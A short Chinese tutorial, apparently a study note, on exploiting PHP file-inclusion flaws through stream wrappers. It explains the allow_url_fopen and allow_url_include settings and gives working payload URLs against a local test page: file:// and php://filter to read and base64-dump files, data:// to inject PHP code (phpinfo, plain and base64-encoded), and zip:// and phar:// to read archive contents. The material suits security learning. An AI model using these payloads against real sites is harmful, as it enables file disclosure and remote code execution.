文件包含PHP伪协议利用方法
首先我们需要把配置文件php.ini
在 php.ini ⾥有两个重要的参数 allow_url_fopen 、allow_url_include;
allow_url_fopen:默认值是 ON。允许 url ⾥的封装协议访问⽂件;
allow_url_include:默认值是 OFF。不允许包含 url ⾥的封装协议包含⽂件;
file://协议
file://⽂件的绝对路径和⽂件名
127.0.0.1/1.php?cmd=file://F:/sxy/phpstudy_pro/WWW/1.txt
php://filter协议
127.0.0.1/1.php?cmd=php://filter/read=convert.base64-encode/resource=1.txt
进行base64解密
php://input协议
抓包进来这里是get传参右击修改
然后构造语句
放包回来就可以看到phpinfo了
data://
使⽤举例: ?file=data:text/plain,
?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,
?cmd=data:text/plain,<?php%20phpinfo();?>
zip://
把1.txt压缩成zip文件
不能直接读取压缩包内的文件需要在中间加个%23
127.0.0.1/1.php?cmd=zip://1.zip%231.txt构造语句进行读取
phar://
⽤途:读取压缩包内的⽂件(绝对路径/相对路径)
它可以直接读取压缩包内的文件
127.0.0.1/1.php?cmd=phar://1.zip/1.txt